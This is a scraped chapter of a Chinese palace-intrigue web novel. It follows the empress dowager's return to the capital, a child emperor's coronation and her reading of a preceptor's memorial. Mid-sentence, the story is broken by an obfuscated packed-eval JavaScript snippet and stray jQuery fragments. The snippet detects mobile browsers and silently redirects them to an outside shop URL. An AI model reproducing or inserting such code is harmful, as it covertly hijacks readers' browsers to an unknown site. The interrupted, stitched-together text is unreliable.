文趣网 > 都市小说 > 收仇敌之子做我裙下臣 > 45. 新帝
    浩浩荡荡的队伍从川蜀山脚出发,向着京城的方向而去。

    陈晚荣坐在马车内,侧头往外看了一眼。

    他们正穿行在崇山峻岭之间。如今是秋末,许多叶子已经落了,时不时就能听到车轮碾过枯叶,发出沙沙的声响。

    宴居已在她怀中沉沉睡去。阿虹则蜷缩在陈晚荣身旁,尾巴还搭在襁褓旁,偶尔会轻轻颤一下。

    云岚与陈晚荣坐得很近,正低声向她回禀近日打听来的消息。

    其中一则,是民间不少百姓听闻“顺妃殉节”一事,私下设了灵位,焚香祭拜沈见知。

    说到最后,云岚也有些感伤,不由慨叹一句。

    “顺妃娘娘到底是个好人,小姐您说是不是?连百姓们都念着她的好。”

    陈晚荣闻言,心中却泛起一阵酸楚——百姓们祭拜的,是“殉节的顺妃”,可她知道,那个人从来就不是沈虹归。

    这般想着,陈晚荣便又将目光落在了宴居面上。

    这孩子的五官明显随了她母亲,尤其是那双眼睛,此时闭目的模样,活脱脱就是个小小的沈虹归。

    在沿路驿站歇脚时,云岚出去了一会儿,回来手上便多出了一碗汤药。

    没等陈晚荣询问,云岚就将那碗汤端到了她面前,先行开口。

    “小姐,这是国师大人方才让人送过来的,说是山路颠簸,怕小姐的腿又不舒坦,特意熬的。”

    陈晚荣接过汤药,并未喝下,只将目光转向车外,往远处随行的队伍望了一眼。

    直到看见了那抹熟悉的白色身影,她心中这才安定了些,放下帘子,又端起汤碗,很快饮了个干净。

    ……

    快要进京时,沿途的氛围明显与她离开时不同,郊外一些地方挂了白幡。路上行人见着车队,都纷纷垂首让在道旁,就连孩童都安静了许多。

    马车在城门处停稳后,陈晚荣被云岚搀扶着下来,再抬头时,便看见了前来迎候的仪仗。

    为首的两人一大一小,一看即知是宋烨和宋扶行。

    至于身后随行的一众人等,有些她留在京城时曾见过,也有些不大认识,许是宋烨回京时从边境带过来的。

    宋烨见了她的装束,便已识得身份,先一步上前,向着她行了一个周全的臣礼,姿态不卑不亢,随即开口道。

    “臣宋烨,携犬子扶行,恭迎太后銮驾回京。太后凤体安否?”

    陈晚荣顺势看向宋烨,目光不自觉多停了一瞬。

    这五官,这侧颜……

    即便三年过去,可母亲的模样依旧清晰如昨。几乎只看了一眼,她便从宋烨面上,捕捉到些许卮夫人的影子。

    陈晚荣定了定心神,目光从宋烨面上移开,又看了他身后那个半大的孩子一眼,便将视线收回来,客气道。

    “贤亲王一路辛苦了。路途遥远,扶行年幼,多谢贤亲王替本宫照拂。”

    宋烨淡淡一笑,并未接话,转过头,就将躲在自己身后的宋扶行拽出来,向前推了推。

    宋扶行尚且年幼,大约也是生平头一回见这么大阵仗,有些紧张,照例行了一礼后,又被宋烨用眼神暗示了好一会儿,才磕磕绊绊道。

    “扶行……扶行拜见太后。”

    他的声音不大,面孔瞧着还稚气得很,说完甚至下意识回过头,看了眼自己的父亲。

    陈晚荣看着这孩子的面孔,又忆起方才在宋烨面上捕捉到的那几分熟悉,心中登时一软,抬手覆上宋扶行的发顶,轻轻抚了抚,低声安慰一句。

    “好孩子,莫怕。”

    收手的时候,她又看了宋烨一眼,见他的神情明显放松了些,眼底也不觉流露出一抹倦色——不像是连日赶路累的,而像是积攒了太多年。

    陈晚荣默默收回目光,心中暗暗给宋烨下了个粗浅的定论。

    这个人,不会成为她的麻烦。

    至于真正棘手的……

    陈晚荣侧头,余光瞥向不远处的宋清平。

    宋清平从方才下车时就一言不发,举手投足仍是她平日做公主的那番气派,沉稳,得体。只在陈晚荣与宋烨交谈时,她才会往二人的方向看上一眼,眼里却明显比从前多了层审视意味。

    陈晚荣在心底叹了口气。

    因了双亲的缘故,她对宋氏皇族始终有怨。但宋清平不同,纵然自她入宫后,二人关系再不复从前那般纯粹,可心头到底还存着几分姐妹情谊。

    若非万不得已,她应当还是会跟宋清平维持着眼下这般,近而不依,信而不尽。

    ……

    钦天监很快择定了吉日。

    登基当天,新帝即位,百官临朝。

    八岁的孩子坐在一把于他而言太大太高的龙椅上,手搭在边上,脚离地面还有一段距离,悬在半空,不自觉地就会晃上一下,看上去活像一个穿了大人衣服的小孩在扮演家家酒。

    在他前方,太后和镇国大长公主分坐两侧,满殿朝臣则跪伏在地,高呼万岁。

    就在所有人低头的一瞬,那孩子目光却未平视前方,只偏过头,求助似的,朝宋烨站的方向看了一眼。

    陈晚荣注意到了这一眼,面上不动声色,心中却暗暗叹息。

    一个八岁的孩子,要求他在这等场面仍保持镇定,姿态沉稳,委实是强人所难。况且眼下看来,这孩子行止倒也挑不出什么大错,只有一点实在不好——他对自己的父亲,明显比寻常孩子要更依赖一些。

    但太过依赖旁人的皇帝,往往也容易受到身边人影响。

    不过他初进京城,周围什么人都不认得的情况下,如此行径倒也有迹可循。往后日子还长,慢慢掰过来就是。

    这一恍神的工夫,陈晚荣忽然意识到什么,目光也随之向下,落在前头那些朝臣身上。

    朝臣在底下跪了这么久,上头坐着的那小子怎么还迟迟不出声?

    陈晚荣抬头,看向宋扶行,只见他不知何时已红了脸,嘴唇张了几回,却愣是一个字也吐不出,一副手足无措的模样。

    她心下了然,忙低声提醒一句。

    “陛下,这时候该说的是‘众卿平身’。”

    宋扶行这才反应过来,用稚嫩的嗓音,急急忙忙补上一句。

    “众……众卿平身。”

    陈晚荣松了一口气。

    登基大典也终于在此时正式开始。

    一切依着仪程进行:百官朝贺,宣读遗诏,新帝受玺,钦定年号——虽说今年未尽,仍需沿用先帝的年号“泰安”,但仔细算来,距改元不过两三个月光景,新年号也确该早做准备。

    一番仪式既毕,临到最后,仍由国师依例诵祝时,陈晚荣的目光也不自觉在他身上多停了一息。

    无遗站在金阶下方,声音平稳,仪态端庄地诵念着那段长长的祝祷词,两根白色的飘带垂在他脑后,偶有

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704521|204799||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    穿堂风过,才会微微拂动一下。

    细细算来,她与无遗相识虽有六年,但像今日这般,在朝堂大典上见他,却还是第一回。

    陈晚荣收回目光,重新将注意力放到眼前的登基大典上。

    除了起初那点小岔子,整个登基仪式倒也算得上顺遂。

    至于太后居住的寿康宫,经宫人连日打理,总算赶在这日前收拾了出来。

    当夜,陈晚荣便自景阳宫迁了过去。

    甫一从景阳宫转至寿康宫内,陈晚荣还有些不大适应——寿康宫比她从前住的地方宽敞太多,日光也更足,屋内陈设皆是新换上的。

    云岚正在殿内忙前忙后,纵然如今殿内已多了些新安排下来的宫人,可涉及陈晚荣的种种事宜,她仍是不肯假手他人。

    现下她正在整理陈晚荣从川蜀带回来的那些行李,其中一样,就是陈晚荣自冷宫带出来后,就再未离开过她身旁的那盆栀子花。

    栀子花并不是耐折腾的植物,一路跟着她们从京城至川蜀,又从川蜀回京城,一路折腾下来,已有些蔫蔫的,叶子也黄了许多。

    云岚将花端到陈晚荣面前,又问她该放在何处。

    陈晚荣仔细看了那花几眼,环顾殿内,最后将目光落在了朝南的一处窗台上。

    “这殿里南边日头最好,就搁在那儿吧。”

    说完这句后,她伸出手,抚了抚那些边缘泛黄的叶片,又想起从前母亲叮嘱的那些,转头同云岚吩咐一句。

    “对了,阿岚,你记得明日寻些橘皮,泡了水浇给这花。”

    云岚连声应下,便端着那盆栀子缓步离开。

    亥时前,陈晚荣去偏殿看了一眼。

    宴居已被妥善安置在了偏殿,现下睡得正香,呼吸声听着也很安稳。

    阿虹窝在她那张小床下,见陈晚荣来了,探出脑袋,抵着她掌心蹭了蹭,然后重新缩了回去。

    陈晚荣将有些下滑的被角替她掖了掖,盯着宴居那张小小的脸,目光里是她自己都未曾察觉的温柔。

    看了一会儿后,她便轻手轻脚地从殿内退了出去。

    重新回到卧房,陈晚荣坐到案前,案上已撂着一沓文书,皆是亟待批阅的。

    是朝臣呈上的第一批折子。

    从今日起,她终于能以太后的身份,光明正大地处理这些政务了。

    翻开第一份,上面写的是登基大典的后续事宜,第二份则是关于各地朝贡的安排。

    都是些不要紧的事情,但陈晚荣还是每一份都认真看了。

    翻到其中一份公文时,她的手顿了一下。

    那笔迹,她再熟悉不过。

    是国师呈上的折子,奏报登基大典祈天诸仪,并拟了新年号。内容公事公办,末尾是无遗的签名与印章,端正得挑不出错处。

    陈晚荣垂眸,一个字一个字地读过去。

    新定的年号是天和,听上去太平祥瑞,是个好兆头。

    可无遗是道门中人,因而这两个字落在陈晚荣眼里,也就有了另一层意思——天道自和,不假人力。

    他在告诉她,顺势而为。

    陈晚荣闭了闭眼,将折子翻到背面。

    纸面上有一个浅浅的,几乎看不出来的圆形印痕,恰是一枚铜钱的大小。

    陈晚荣的指腹在那处印痕上轻轻地摸了一下。

    然后她将折子放到一旁,继续看下一份。